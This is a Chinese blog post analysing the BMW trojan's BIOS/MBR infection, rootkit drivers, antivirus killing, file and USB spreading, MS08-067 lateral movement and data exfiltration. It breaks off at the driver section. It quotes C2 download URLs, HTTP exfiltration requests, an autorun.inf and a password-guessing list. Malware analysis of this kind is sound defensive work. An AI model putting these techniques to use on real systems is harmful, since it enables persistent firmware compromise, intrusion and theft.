仅用于链接已经删却但是需要方便查阅的原文http://blog.csdn.net/zirconsdu/article/details/7997470
转载请注明出处http://blog.csdn.net/zirconsdu/article/details/8153813。
一些具体数据结构和具体路径隐去。
BMW木马样本分析
摘要
2011年底和某Hunter的谈话涉及到当时新检测到的病毒BMW,于是有了这篇分析报告.今天打开该目录时,卡巴又报发现病毒,又看到了这片文章.
曾经想象病毒侵入BIOS的危害,果然就出现了BMW,不过幸亏BMW只是用BIOS工具加入了个模块,而不是对BIOS的代码进行更深层次的修改.很久以前,就认为病毒侵入控制系统固件会有更大的社会危害,而修改重烧工业自动化系统的PLC控制器固件的病毒已经见诸报端.
正文
木马包含bios.exe和bmw.exe两个文件,前者负责感染bios和mbr,后者用于可执行文件感染,下载木马等。
一、BIOS感染文件
主要包括:
bios.exe--是BIOS感染主文件.
Flash.dll--用于装载sys文件.
bios.sys--是BIOS驱动服务文件,用于访问BIOS.
my.sys—一个文件驱动hook实现文件.
hook.bin--是BIOS文件和MBRex文件.(MBRex含在BIOS中,便于直接感染)
hook7k.bin---是hook.bin 中的7k内容,由MBRex注入到winlogon/WinInit.
winlogon/WinInit:下载calc.exe并执行.以fileprt服务装载my.sys,原理同使用beep.sys装载bios.sys.
1.1 bios.exe分析
1首先XOR 98h解码代码段中0x1000-0x1500的部分,解出代码段;XOR 89h解码出数据段部分;
2通过进程枚举,如果检测到瑞星或金山杀毒,则弹对话框,并对IME做hook,在用户按键时,执行3;如果没有发现瑞星和金山,直接执行第3步;
3解析参数和检测windows版本,参数主要是-w,-d,-u,其中-u是修复系统,-w和-d不明朗;一般情况下是继续执行感染系统;
4安装BIOS驱动,从资源中抽取出bios.sys,放入系统drivers文件夹;
然后会根据情况采用三种方式来安装BIOS驱动(\\.\bios设备):
A使用\\.\MyDeviceDriver(注:不是My.sys安装上的,是另一个RootKit)DLL注入技术,将Flash.dll依次注入到services.exe 和Explorer.exe来测试是否安装\\.\bios成功;
B如果A安装不成功,针对有瑞星或KV或WIN7或WIN2008R2版本,则直接LoadLibrary Flash.dll进行bios设备安装;
C大多数情况下,停止beep服务,使用bios.sys代替beep.sys,然后启动beep服务的方式来加载bios驱动安装bios设备,然后使用备份恢复beep.sys文件;
5然后会从资源中释放出过滤驱动My.sys;
6 DeviceIoControl(BIOS, 80102188h,..)来检测是否是Award BIOS,如果是,则DeviceIoControl(BIOS, 80102180h,..)备份当前BIOS为”c:\bios.bin”,打开文件,搜索“hookrom”(hook.bin的内容)来检查当前BIOS是否已经感染,如果没有感染,则从资源中释放出cbrom.exe(Award BIOS工具)和hook.rom(BIOS Patch,含MBR和Winlogon Patch),使用cbrom.exe c:\bios.bin /isa hook.rom将hook.rom作为ISA扩展BIOS添加进BIOS固件(另一个cbrom.exe c:\bios.bin /isa release为卸载扩展BIOS模块),然后使用DeviceIoControl(BIOS, 80102184h,..)将BIOS固件写入Flash中。
如果不是Award BIOS,则使用hook.rom中MBR直接替换原MBR。具体是,读取hook.rom,空过前面0x5D字节(BIOS部分)到MBR代码部分,复制MBRex到局部缓冲区(0x1C00字节,0x0E扇区);打开\\\\.\\PHYSICALDRIVE0且调整权限,读取MBR扇区到局部缓冲0x0E00处,检查是否感染(“int1” signature),若没有感染,则使用[0x01F8]值初始化[0x0226](是DayCounter),用0x0F00处0x80字节(从磁盘上读出的MBR部分)覆盖到0x0100处,主要是保存硬盘分区表。然后,将局部缓冲区14个扇区写入磁盘。
至此感染完毕。至于-u恢复,则是相反过程恢复回去。
1.2 flash.dll分析
用于以服务形式加载BIOS.sys, 主要功能在是DllMain中,其余代码是heap实现选择。
DLL_PROCESS_ATTACH DllLoad实现中,通过打开\\.\bios检测是否有Bios驱动,若没有,OpenSCManager =>> CreateService(bios) =>> StartService(bios);
DLL_PROCESS_DETACH的DllUnload实现中,OpenSCManager =>> ControlService (bios, STOP) =>> DeleteService(bios)
1.3 bios.sys分析
BIOS驱动文件,服务形式,安装\\.\bios设备,用于Ring0访问BIOS。
DriverEntry->DriverEntryImpl =>> IoCreateDevice("\\Device\\Bios")
主要是DriverIoControl,IOCTL_CODE有三个:
80102180h --- BackupBIOS
80102184h --- BurnBIOS
80102188h --- CheckBIOS
CheckBIOS流程:
使用MmMapIoSpace map BIOS物理地址[0x0F0000+0x10000] to liner space,然后搜索字符串“$@AWDFLASH”确定是否Award BIOS;找到后,在其后0x2A处,找SMI_PORT保存;然后通过 “_MS_”和“IMD_”辅助找到BIOS_SIZE并保存。
BackupBIOS流程:
MmMapIoSpace map BIOS物理地址[0x0F0000+BIOS_SIZE] to liner space =>> ZwCreateFile(\\DosDevices\\C:\\bios.bin) =>> ZwWriteFile。
BurnBIOS流程:
ZwCreateFile(\\DosDevices\\C:\\bios.bin) =>> ZwReadFile到ExAllocatePoolWithTag分配的缓冲区中;擦除Flash,将缓冲区中内容编程到Flash中;释放缓冲,关闭文件。
EraseFlash流程:
首先,写"$SMI"到EBP寄存器,然后OUT 0x29到SMI_PORT(是扩展端口),适当延时(应当延时相对比较长时间?),检测EBP是否TOGGLE为“SMI$”,若是,擦除成功。
ProgramFlash流程:
分页,每次编程16字节;依次编程;use page auto increament。
页编程流程:
首先,写"$SMI"到EBP寄存器,然后OUT 0x2F到SMI_PORT(是扩展端口),适当延时,检测EBP是否TOGGLE为“SMI$”,若是,页编程成功。
1.4 my.sys分析
IoCreateDevice(\\Device\\hide)钩到\\Device\\Harddisk0\\DR0的驱动disk.sys,对READ、WRITE、DEVICEIOCONTROL的DISPTACH进行HOOK,阻止MBRex扇区部分被读取和修改。在WINLOGON的感染代码里my.sys以fileprt服务的名义被加载。
DriverReadHook:
判断如果是读前63个扇区,则设置完成例程DriverReadCompletionRoutine,若不是,调用原读例程正常读;
DriverReadCompletionRoutine会根据读模式,找到相关缓冲区,清零,使这样无法读取MBRex(14扇区)所在的扇区。
DriverWriteHook:
根据写模式,得到相关缓冲区,如果是写前14扇区,则需要偏移0x100处的FBFBECECFCFCEBEBh的Signature作为口令(MBR中0x100处即为这些数值)可以调用原写例程写入;否则IofCompleteRequest with STATUS_SUCCESS;若是15-63扇区,直接IofCompleteRequest with STATUS_SUCCESS;其余扇区,调用原写例程正常写;
DriverIoControlHook:
对于IOCTL_DISK_GET_DRIVE_LAYOUT_EX、IOCTL_STORAGE_GET_MEDIA_TYPES_EX、IOCTL_DISK_GET_DRIVE_GEOMETRY_EX直接IofCompleteRequest with STATUS_UNSUCCESSFUL;其余IOCTL CODE正常。
1.5 hook.bin分析
第一字0xAA55表示该BIOS模块是Expansion BIOS模块;第三字节(偏移0x02)是扩展BIOS模块的大小,其后是指令jmp bios_start;
isa_main在0x1C5D处,bios_start在0x5D处,中间0x1C00字节是MBRex(含Winlogon感染代码)。
第一条指令将0x5D弹出到ax中,然后用0x5D-0x1C5C内容覆盖0x7C00[+0x1C00](BIOS load MBR的地址),这样BIOS初始化完毕后,将控制权交给MBR时,被修改的MBRex取得控制权。
然后使用扇区扩展读BIOS中断,读取MBR(磁盘第一扇区),判断是否感染('1tni'标记),若没有被感染则拷贝后0x80字节(含硬盘分区表)到0x0100[+0x80],使用扇区扩展写BIOS中断写14个扇区完成感染。
最后,retf指令返回,return to the caller in bios calling rel_0003?
1.6 hook7k.bin即MBRex.bin分析
首先,把自身MBR部分(第零扇区)拷贝到0x0600,然后跳转到0x061E;0x061E代码是读磁盘1-6扇区(zero-based)到0x7C00,然后跳转到0x7C00执行;
0x7C00(即第一扇区,0开始编号)处是一条相对跳转指令 jmp 0x7CA0;0x7CA0(ebr_strap)处代码把1-6扇区拷贝到0x0600处,然后跳转到0x06BF(ebr_main)处执行;
ebr_main首先会读CMOS获取日期,用于病毒运行天数计数;然后把7号扇区(即被感染计算机的原MBR)读取到0x4000缓冲区,从其中的分区表中找启动分区并找到启动分区的起始扇区(DBR),读取DBR到0x7C00;
根据BPB判断文件系统,如果是NTFS,从$MFT开始寻找Winlogon/WinInit,找到后判断是否感染('snnc' signature),如果没有感染,则设置感染标志'snnc'保存原entrypoint,拷贝8号扇区开始的Winlogon感染代码560字节到Winlogon被感染指令处;显示“Find It OK!”,然后跳转到0x4000处(原来好的MBR处)执行原MBR,完成原有的启动流程;
若是FAT32格式文件系统,根据FAT表找到Winlogon,找到后判断是否感染,保存原entrypoint,设置新EP为0x1C00(除去两扇区PE头,恰好是第8号扇区所在位置,文件中偏移0x1000),修正PE文件头;若簇小于8扇区,则首先写入文件头,然后读入第八扇区开始的6个扇区写入Winlogon;若簇大于8扇区,则将第8号扇区开始6个扇区直接覆盖Winlogon的第八扇区开始的6个扇区,然后一簇写回,完成Winlogon感染。然后将0x4000处原MBR拷贝到0x7C00处,跳转到原MBR执行启动。
注:Winlogon的.text段RVA=0x1000,PA=0x0400;文件头占两个扇区。0x1000+(0x1000-0x0400) = 0x1C00.
第0x0D号扇区(hook7k.bin最后一个扇区)还有一段代码,用途不明.SEH内容居多。
1.7 winlogon.exe分析
从hook7k.bin的第八扇区即偏移0x1000开始Patch到Winlogon,经过简单加密,自解密运行。
首先解出代码,然后加载库Urlmon.dll和Advapi32.dll,解析用到的函数地址;
创建线程,使用URLDownloadToFile下载http://xx.3515.info:806/test/91/calc.exe保存为c:\calc.exe,使用WinExec运行;
然后,OpenSCManager =>> CreateService(fileprt, my.sys, …) =>> StartService(fileprt)安装HRADDISK驱动的钩子,作用详见my.sys分析。
二、BMW.exe感染文件
Bmwexe采用aspack加壳,很容易脱去;
Upx0和upx1两个section,不是UPX壳,好像是调用的VM?通过静态分析函数调用关系,还是可以分析出顶层的函数主要有两个。
从start处分析,木马首先使用VirtualQueryEx和GetModuleHandle判断是运行在exe中还是dll中;然后分别调用了许多垃圾代码的入口,猜测以上两个顶层入口分别是运行在exe或dll中的入口,标号分别是RootFuncRunningInExe和RootFuncRunningInDll。使用硬件断点可以验证猜测。
RootFuncRunningInExe流程
这个函数主要是为ServiceDLL服务代码准备运行条件,运行ServiceDLLs;使用命名管道和Event与ServiceDLL通讯。
1首先VirtualAlloc一个4000000h的大缓冲,然后用nop.nop.nop加最后一条jmp rel32(下一条指令)填充,执行(原因不明朗,难道是为了延时?),然后VirtualFree返回。
2判断自己是否运行在可移动设备中,若是,则创建进程执行"explorer /n,X:\"打开磁盘,可以运行其中的uninstall.exe病毒,等待进程结束返回;
3 字XOR解码PIPE名,格式是\\.\pipe\{________guid_________},句柄记为hPipe;创建Event Global\{6581F932-EEC4-422e-A5FD-0F78BB508683},句柄记为hEvent8683;打开管道文件(OPEN_EXISTING),如果是系统启动之内60s,会不停尝试打开,第一次运行,肯定是无法打开的;
4 创建文件“C:\\Documents and Settings\\Infotmp.txt”或“C:\\Users\\Infotmp.txt”(Vista以上版本);
5 枚举进程比较文件名,检测自身是否运行在Explorer或者以下杀软进程中:
RavMonD.exe,360tray.exe,MPSVC.exe,KSafeTray.exe,RsAgent.exe,avp.exe,Explorer.exe
若存在这些进程中,则得到进程ID;如果是存在RavMonD.exe中,为了不被用户发觉,会启动RsAgent.exe小狮子进程;使用随机数和进程号产生"%.8X.tmp"格式字符串(进程号在低四位),作为system32下的文件名,使用随机数"%.8X.log"格式串,作为拷贝屏幕JPG图片文件名,在TempPath目录下。
6 将GetVersionEx得到的VersionInformation、自身EXE是否杀软BITMAP、是否拷屏、自身EXE文件名、自身进程ID、进程ID字符串、JPEG文件名、RavMonD进程ID等信息写到文件Infotmp.txt中,供DLL运行时读取;
7 当exe文件不是在可移动存储上时,拷贝屏幕,使用GdiPlus编码为Jpeg图片流,并保存为“$TEMP\%.8X.log”文件;
8 创建Event Global\{49DC5E00-FB89-41c2-8E1E-852B0B0C6B00},句柄记为hEvent6B00,将自身内容读到缓冲区中,修正PE Hdr标志位为DLL格式,获取sfc_os.dll中SetSfcFileException函数指针,用于暂停系统文件保护以替换文件;针对解码出的下列服务和对应文件(未列出全部)执行OpenService,QueryService,StopService,用缓冲区内容覆盖文件内容,StartService,WaitForSingleObject(hEvent6B00)等待替换后的服务(该服务会SetEvent(hEvent6B00)),然后CloseServiceHandle。
"AppMgmt","BITS","FAstuserSwitchingCompatibilty","WdmmPmSN","XmlProv",……
"appmgmts.dll","Qmgr.dll","shsvcs.dll","mspmsnsv.dll","XmlProv.dll",……
如果上述解码没有解出任何字符串,则使用HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost注册表项netsvcs键的键值(服务名列表) ,循环执行以下操作CreateService("System32\\Svchost.exe -k netsvcs"),用“服务名.dll”形成文件名(如BITS服务,则为BITS.dll),然后将该服务的注册表项的ServiceDll设置为相应的dll文件名,将缓冲区内容写入文件,然后StartService同样等待WaitForSingleObject(hEvent6B00)完成或超时。
关闭相关句柄,返回。
第一次运行实例执行完毕。
运行在DLL中时,分为由Svchost -k service启动的服务和普通DLL运行的形式。
由Svchost启动的Service DLL的执行流程
这个是病毒的运行主体部分。
1首先创建并设置Event hEvent6B00通知第一次运行实例,服务已经运行;从文件Infotmp.txt中读取信息,并删除文件;如果文件不存在或打开失败,则重新获取相关信息;尝试删除创建本服务DLL的原实例EXE程序文件200次(因为EXE会启动多个DLL,每个都会尝试删除);
2 获取自身Module文件名,解码出本身的服务名;加载Psapi.dll并解析出GetModuleInformation的地址,调用得到MODULEINFO.SizeOfImage;
3 解码出杀软程序名字符串列表;打开\\.\poxity设备准备通信,如果打开成功,根据情况恢复系统、卸载驱动,然后重新装载驱动(有个DOWRD值为2时,由Exe生成的Infotmp.txt拷贝过来,具体意图还不清楚,可能是某些原因不匹配)或者使用原驱动;如果打开设备失败,则装载服务安装设备。具体是使用32bit随机数生成nnnnnnnn字符串做为服务名,system32\nnnnnnnn.sys做文件名,从自身释放出类型为“FILE”、资源名为65h的资源并解码写入到nnnnnnnn.sys文件,然后创建并启动服务;尝试20次打开\\.\poxity设备;
4 创建线程ThreadHttpSendJpegFile将图片编码到流中向服务器传送拷屏JPEG图片。
GET /passport.asp?ID=1&fn=1_00-0C-29-XX-XX-XX&Var=00000001 HTTP/1.1
Accept: */*Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; WindowsNT 5.1; SV1)
Host: 204.45.123.173
Connection:Keep-Alive
5 然后传入驱动使用的一些函数地址和变量,并得到内核KiServiceTable的地址和NumberOfService。具体是,通过ntdll!ZwQuerySystemInformation遍历系统加载模块列表,其中第一个模块就是ntoskrnl,得到其文件名和在内核的加载基址;然后在用户态loadlibrary(ntoskrnl_name),获取KeInsertQueueApc、KeInitializeApc、MmFlushImageSection、IoGetAttachedDevice、PsTerminateSystemThread、MmGetSystemRoutineAddress函数地址,使用PsTerminateSystemThread函数地址和特征指令搜索PspTerminateThreadByPointer VA,使用KeInsertQueueApc函数地址和特征指令搜索KiInsertQueueAPC VA;然后保存这些函数的前0x0C字节指令,根据函数用户态加载VA和内核台基址得到在内核的地址;得到不同版本平台的ThreadListHeadOffsetInEPROCESS和ThreadListEntryOffsetInETHREAD;将这些信息通过IOCTL=0x222407传递给驱动,驱动同时会给出内核KiServiceTable的地址和NumberOfService(注:这两个参数直接通过InputBuffer传出,和poxity驱动通信缓冲区并不严格遵循常见输入输出缓冲区模式)。驱动会使用MmGetSystemRoutineAddress得到用到的函数地址,使用PsTerminateSystemThread、ThreadListHeadOffsetInEPROCESS和ThreadListEntryOffsetInETHREAD结束线程;传入的其余几个函数会被inline hook。
6 在用户态下获取KiServiceTable表格,恢复被inline hook的函数。
具体做法是,使用驱动返回的内核基址和KiServiceTable在内核中的Addr,得到偏移KiServiceTableOffset;看是否则合理的范围内,此处源码有点bug,jb应该为jl,即合理地址范围转拷贝代码;
若地址范围不合理,则Ring3下,得到加载后的ntkrnlpa.exe的KeServiceDescriptorTable的地址,转换成KeServiceDescriptorTableVA(VA ImageBase based,为什么加载后不是以LoadedAddr重定位而仍是以ImageBase?),在INIT section代码空间中搜索KeServiceDescriptorTableVA以定位指令
MOV ds:_KeServiceDescriptorTable, offset _KiServiceTable,得到KiServiceTable的ImageBase based地址,KiServiceTableVA-ImageBase得到偏移KiServiceTableOffset。此处代码也有bug,搜索范围不对导致搜索不到,修正为直接搜索INIT section范围即可。
得到KiServiceTableOffset后,使用Module Loaded基址定位到KiServiceTable loaded VA,拷贝整个KiServiceTable保存,然后使用内核基址修正每个Entry,使用IOCTL=0x22240B恢复SSDT;
7 针对杀软,通过进程枚举,得到AV ProcId,向驱动发送IOCTL=0x222418,驱动枚举目标进程所有线程,使用PspTerminateThreadByPointer结束线程;
8 向驱动发送IOCTL=0x222424和本进程ID,阻止线程创建和中止通知,本实现只阻止线程中止通知。
9 IFEO劫持杀软。具体是,针对解码出的列表中的每个AV注册表项HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IFEO\AV_Name,"Debugger"键值都设置为"ntsd -d";是通过IOCTL=0x22241C实现的。
10 Hook tcpip.sys
用途是阻止某些域名的解析,详细参见poxity IOCTL=0x22242C。
11 使用IOCTL=0x22240F隐藏本身DLL module;使用IOCTL=0x22241C设置本身服务HKLM\SYSTEM\CurrentControlSet\Services\ServiceName “Start”启动方式为2(2为自动,3为手动,4为禁止),IOCTL详见poxity分析;如果,poxity不存在,则直接调用SHSetValue设置启动模式为自动。调用SHSetValue设置HKLM\SYSTEM\CurrentControlSet\Control\Windows键值"NoPopUpsOnBoot"为1,阻止服务启动出错时弹出系统错误报告。发送IOCTL=0x222420给驱动,隐藏服务的注册表项。
12 发送IOCTL=0x222413、文件系统设备名和自身文件名给驱动,由驱动hook文件系统驱动,隐藏DLL文件;发送IOCTL=0x222417由驱动返回驱动文件名;发送IOCTL=0x222413、文件系统设备名和驱动文件名给驱动,隐藏驱动文件。
13 然后创建三个线程,标记为thread1,thread2,thread3.
Threa1--DelSafeBootMinNetAndRepeatGenSelfnDrv
首先删除注册表项
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal
HKLM\SYSTEM\CurrentControlSet\ Control\ SafeBoot\Network
然后发送IOCTL=0x222430到驱动, hook FileSystemDriver的MajorFunction[IRP_MJ_CARETE]和MajorFunction[IRP_MJ_DIRECTORY_CONTROL]两个Dispatch,作用详见poxity分析。
从驱动得到驱动文件名,读取驱动文件到缓冲区DriverSysBuffer;把模块自身读到缓冲区SelfFileBuffer;循环每隔1s覆盖一次模块自身的内容,驱动文件由于原程序文件名是空,没有被覆盖,好像是bug。
Thread2---TerminateIfWorkHasDoneByOtherOrSleepFor1
使用命名管道\\.\pipe\{________guid_________}和EXE程序通信,负责命名管道的创建,系统中只允许一个该命名管道实例。
首先使用CreateFile+OPEN_EXISTING测试管道是否存在,如果CreateFile成功GetlastError返回ERROR_SUCCESS,说明已有ServiceDLL运行形式存在,命名管道已经创建,而且EXE程序还没有打开管道,则让第一个ServiceDLL运行,线程退出;
如果CreateFile失败且GetLastError返回ERROR_PIPE_BUSY(0xE7)说明已有ServiceDLL运行形式存在,命名管道已经存在,而且EXE中代码正在使用管道,则线程退出;
如果CreateFile失败,GetLastError返回不是ERROR_SUCCESS或ERROR_PIPE_BUSY,最有可能是ERROR_FILE_NOT_EXISTING,则标明是第一个ServiceDLL执行,则使用CreateNamedPipeA创建命名管道,只允许一个实例;然后会进入一个循环,使用管道接收来自EXE执行的0x10字节命令,直至接收到退出命令,则准备退出。
所以命名管道的主要作用是保证一个ServiceDLL实例在运行,结束掉其余ServiceDLL实例中的线程;接收到EXE的退出控制命令后,结束本进程内线程。
结束线程前的检测并做恢复工作如下:
A. 发送IOCTL=0x222428通知驱动恢复系统;
B. 如果模块名和服务名相同,则删除HKLM\SYSTEM\CurrentControlSet\Services\ServiceName键值;如果不同,则将其下“Start”子键设置为禁止(4);
C. 枚举本进程内的所有线程,TerminateThread,使用0xE1F27272 NormalContext阻止系统通知(检查A中是否已经恢复,还能阻止吗?);
D. 释放分配的本模块内容、用于Exe的模块内容、驱动内容三个缓冲区;
E. 结束线程。注其堆栈内容和调用:
UnPackEr:00403EB9 push 0
UnPackEr:00403EBB push 0
UnPackEr:00403EBD lea eax, lpMultiByteStrFileSelf
UnPackEr:00403EC3 push eax
UnPackEr:00403EC4 push ds:ExitThread
UnPackEr:00403ECA push [ebp+hNamedPipe]
UnPackEr:00403ED0 push ds:DeleteFileA
UnPackEr:00403ED6 push ds:CloseHandle
UnPackEr:00403EDC retn
CloseHandle(hNamedPipe);
DeleteFileA(lpMultiByteStrFileSelf);
ExitThread(0);
Thread3---CreateMainWorkThreads
作用是创建一系列线程;
首先调用WriteLocalhostOverrideHostFile将'127.0.0.1 localhost\r\n'只一行写入到hosts文件。
创建线程RecurseLogicalDriveToInfectNlsArchive
针对每个逻辑驱动器创建一个线程,递归、深度优先遍历每个驱动器上的文件,此过程中没有使能exe文件感染,只是将搜索到的非系统Temp目录下的rar包文件名以链表保存起来,该链表操作代码使用Event互斥,保证链表线程安全;
WaitForMultipleObjects各个遍历线程结束后,使能exe文件感染,创建线程,主要是使用RAR文件名链表解压大小在2800h~0A00000h之间的文件到系统temp目录,感染其中的exe文件,重新压缩替换原来文件。
会将一些目录排除在搜索和感染范围,如“WINDOWS”,“WINNT”,“Documents and Settings”,“System Volume Information”,……,列表不尽详述。
该线程首先读取c_312747.nls文件内容,其内容是6个字节一组的记录,每一个记录对应一个RAR文件;前四个字节是rar文件名的HASH值,后两个字节用于和全局变量unk_413D28两个字节作比较,结构如下
Struct
{
DWORD dwRarNameHash;
WORD wUknown;
};
如果有新RAR文件出现,则找不到对应dwRarNameHash,解压感染后在文件末尾增加该记录;如果dwRarNameHash相同且wUknown>unk_413D28处的字,则解压感染后用新的记录替换掉原来记录;dwRarNameHash相同且wUknown<=unk_413D28处的字,则不解压感染文件。wUknown类似版本号。
文件感染部分分为一小段0x02E1字节的跳转代码和本身二进制文件组成,根据PE文件计算各参数,填充0x02E1字节代码中运行时填充字节,修正原entrypoint,将0x02E1和本身内容填充到原exe文件末尾,完成感染。
感染前,有一调用判断,进入垃圾代码返回,不知用途。
创建线程MakeDriveAutorunUnstallForRemovableDevice,主要功能是每个1s检测系统逻辑盘;在可移动逻辑盘上创建autorun.inf文件和uninstall.exe文件,双击盘符自动运行,autorun.inf内容大致如下:
[autorun]
OPEN=recycle.{645FF040-5081-101B-9F08-00AA002F954E}\uninstall.exe
shell\open=打开(&O)
shell\open\Command=recycle.{645FF040-5081-101B-9F08-00AA002F954E}\uninstall.exe Show
shell\open\Default=1
shell\explore=资垂芾砥?&X) =>应该是资源管理器(&X)
shell\explore\Command=recycle.{645FF040-5081-101B-9F08-00AA002F954E}\uninstall.exe Show
autorun.inf和recycle.{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}\文件夹和uninstall.exe都设置系统、隐藏、只读属性。
uninstall.exe是木马自身可执行文件副本。
然后在系统重启后需要等待1小时继续创建线程。
创建线程GetIpAddrOfwwwxxxxxinfo
每隔一分钟解析一个www.%s.info域名的外网地址。
创建两个线程EvilFunctionToolKit(5)和EvilFunctionToolKit(1),分别以img/up.jpg和****为url从HTTP服务器下载两个exe可执行文件,估计是两个木马,创建进程执行。
创建线程IEOpenURLMacHtm使用IE打开URL http://xxx.xx.123.170:8080/htm/mac.htm?1。网页已经无法打开。
创建线程InfectTheSubNetMachines(1),攻击内网子网内的计算机。首先使用www.baidu.com测试网络连接,然后使用socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)ICMP探测一个范围内(如"xxx.xx.123.170-174")的主机是否可达,保存此主机用于下载http://xxx.xxx.xxx.xxx:8080/msdownload/update/v5/setup.exe。然后WNet枚举网络资源,用建立desktop.txt尝试是否有写权限,然后感染该文件夹,形成rar包记录。
然后针对子网内计算机进行遍历,若主机可达,拷贝自身exe可执行文件到\\pipe\ipc$或\\pipe\C$,设置AT定时执行。WNetAddConnection2A(\\pipe\ipc$或\\pipe\C$)时,会使用下列用户名和密码列表进行猜测:
User:Administrator.Guest.admin.Root
Password: 1234.password.6969.harley.123456.golf.pussy.mustang.1111.shadow.1313.fish.5150.7777.qwerty.baseball.2112.letmein.………
然后使用MS08-067命名管道漏洞进行攻击。首先用\\xxx.xxx.xxx.xxx\pipe\browser试探,TransactNamedPipe ShellCode进行攻击。
上述过程,每隔10分钟循环一次。
创建线程InfectTheSubNetMachines(2),遍历外网子网计算机地址,使用MS08-067命名管道漏洞进行攻击。
创建线程EvilFunctionToolKit(3),从服务器列表选择可用的使用相对URL dl/1.rar下载一个木马文件数据库,解密数据。根据本地的一个要运行的木马名称列表,从该文件数据库中抽取出木马,存为文件运行。
创建线程HttpSendMACetcInformation,把系统MAC地址传送出去,以HTTP GET的方法实现,内容为
"GET /ttt/tongji.asp?ver=101010&tgid=1&address=00-0C-29-25-A5-BB&flag=17b342d996799e26fd44a9bb4f81cd51&alexa=0&List=NULL HTTP/1.1",CR,LF,"Accept: */*",CR,LF,"Accept-Language: zh-cn",CR,LF,"User-Agent: Mozilla/4.0 (compatible; MSIE 6.)
创建线程AttackTargetBlood,使用EvilFunctionToolKit(4)从服务器msdownload/update/wuredirtetcpa1.txt下载的文件控制本机向目标机发动网络洪水攻击。
该文件解密后格式(复制不上,此处从略).
前三个DWORD用于解密。
首先,创建NumOfHttpSvrRecord个线程,使用HTTPSvrRecord参数从每个服务器上下载文件,删除文件;该文件并没有使用。
Typedef struct _tagHTTPSvrRecord
{
} HTTPSvrRecord;
然后,使用IOCTL=0x222434命令驱动HookNdis(只对XP和2k3有效),然后攻击目标机:
A.创建大量socket(AF_INET, SOCK_STREAM, IPROTO_TCP),无论NDIS是否被Hooked,因为不是SOCK_RAWIP,IP_HDR[PROTO]字段不为0,所以NdisMSendHandlerHook不会起作用;connect时会建立大量的正常的TCP连接,然后send发送一个字,形成大量小包。该过程使用下面InnocenceBloodControlBlock结构控制。
Typedef struct _tagInnocenceBloodControlBlock
{
} InnocenceBloodControlBlock;
在NdisHooked的情况下,创建socket(AF_INET,SOCK_RAW,IPPROTO_IP)直接填充IP包,首先发送TCP_SYN建立大量半连接;然后发送UDP包,UDP数据为伪造的源IP,会被NIDS MSendHandlerHooked用来作为IP头的Source IP,形成IP欺骗,隐藏自己。仍然由上述InnocenceBloodControlBlock结构控制攻击。
B. 创建socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP),进行由DNSQryControlBlock控制进行的DNS解析,有三种形式:使用DNSQryControlBlock.DestIpAddrArray数组中的地址作为DNS服务器地址解析DNSQryControlBlock.szIP;使用DNSQryControlBlock.DestIpAddrArray数组中的地址作为DNS服务器地址解析一系列www.xxxx.[DNSQryControlBlock.szInfoComNetOrgetc]域名;使用本主机的DNS解析一系列www.xxxx.[DNSQryControlBlock.szInfoComNetOrgetc]域名。
Typedef struct _tagDNSQryControlBlock //size is 0xC0.
{
} DNSQryControlBlock;
C.创建线程,解析一系列缓冲区,搜索其中“javascript”、“mailto”、http://等关键字,找邮箱地址和域名,发送到HrefControlBlock.szIP服务器。具体用途不明,HrefControlBlock结构暂时不明。
Typedef struct _tagHrefControlBlock //size is 0x9C.
{
+0x00 CHAR szIp[0x40];
………
} HrefControlBlock;
14删除EXE生成的用于记录其进程ID的system32\nnnniiii.tmp文件(当病毒在杀软EXE中运行时,会生成此文件,以记录杀软ID,是iiii四位);
15进入死循环,500ms周期性执行.
如果有新的infotmp.txt生成,说明有新的实例运行在exe中,则读取信息,然后删除Infotmp.txt文件;针对AV列表,枚举进程检测这些AV是否存在,若存在,则发送IOCTL=0x222418和其进程ID,由驱动结束杀软内所有线程。
以注入DLL形式的执行流程
解析传送进的文件名字符串参数,文件名应该是nnnniiii.tmp形式,其中iiii是杀软或者Explorer.exe的进程ID(该文件由在EXE中运行的实例产生,在EXE中可能有主线程和普通线程两种地位形式?);与本进程ID号比较,若匹配则执行以下部分,不匹配则ExitThread退出线程。
1 创建Event {00C92B91-763E-4a4e-8404-29ED1850790B},标记为hEvent790B,设置事件;
2 如果没有poxity设备,则安装驱动服务;
3 如果文件Infotmp.txt不存在,则自己检测系统版本和杀软信息;
4 如果检测到微点杀毒MPSVC.exe,则发送IOCTL=0x222407 Inline hook SSDT;然后枚举进程得到进程ID,发送IOCTL=0x222418由驱动使用PspTerminateThreadByPointer结束微点。
5 以前面所述相同的替换一系列系统服务的形式,运行病毒。
最后结束执行。
【注】最后为什么会是如下形式:
UnPackEr:004021B9 push 0
UnPackEr:004021BB push 0
UnPackEr:004021BD push ds:hModule------------+
UnPackEr:004021C3 push ds:ExitThread |
UnPackEr:004021C9 push ds:hModule |
UnPackEr:004021CF push ds:FreeLibrary |
UnPackEr:004021D5 push ds:hModule |
UnPackEr:004021DB push ds:FreeLibrary |
UnPackEr:004021E1 push ds:hModule |
UnPackEr:004021E7 push ds:FreeLibrary |
UnPackEr:004021ED push ds:hModule |
UnPackEr:004021F3 push ds:FreeLibrary |
UnPackEr:004021F9 push ds:hModule |
UnPackEr:004021FF push ds:FreeLibrary |
UnPackEr:00402205 push ds:hModule |
UnPackEr:0040220B push ds:FreeLibrary |
UnPackEr:00402211 push ds:hModule |
UnPackEr:00402217 push ds:FreeLibrary |
UnPackEr:0040221D push ds:hModule |
UnPackEr:00402223 push ds:FreeLibrary |
UnPackEr:00402229 push ds:hModule |
UnPackEr:0040222F push ds:FreeLibrary |
UnPackEr:00402235 push ds:FreeLibrary <------+
UnPackEr:0040223B retn
难道是push 0 push 0 调整了堆栈,从而调整了ExitThread返回地址,能接着下面的代码执行. 多次FreeLibrary是安全设计,还是hModule前部分已经被清空,故意引起程序出错?可能是没有FreeLibrary,不可能会是引起程序出错。
Poxity设备驱动:
由bmw.exe释放出来,放在system32目录下,名字是nnnnnnnn.sys(nnnnnnnn是8位十六进制随机数)。主要IOCTL和功能描述如下:
0x222407:
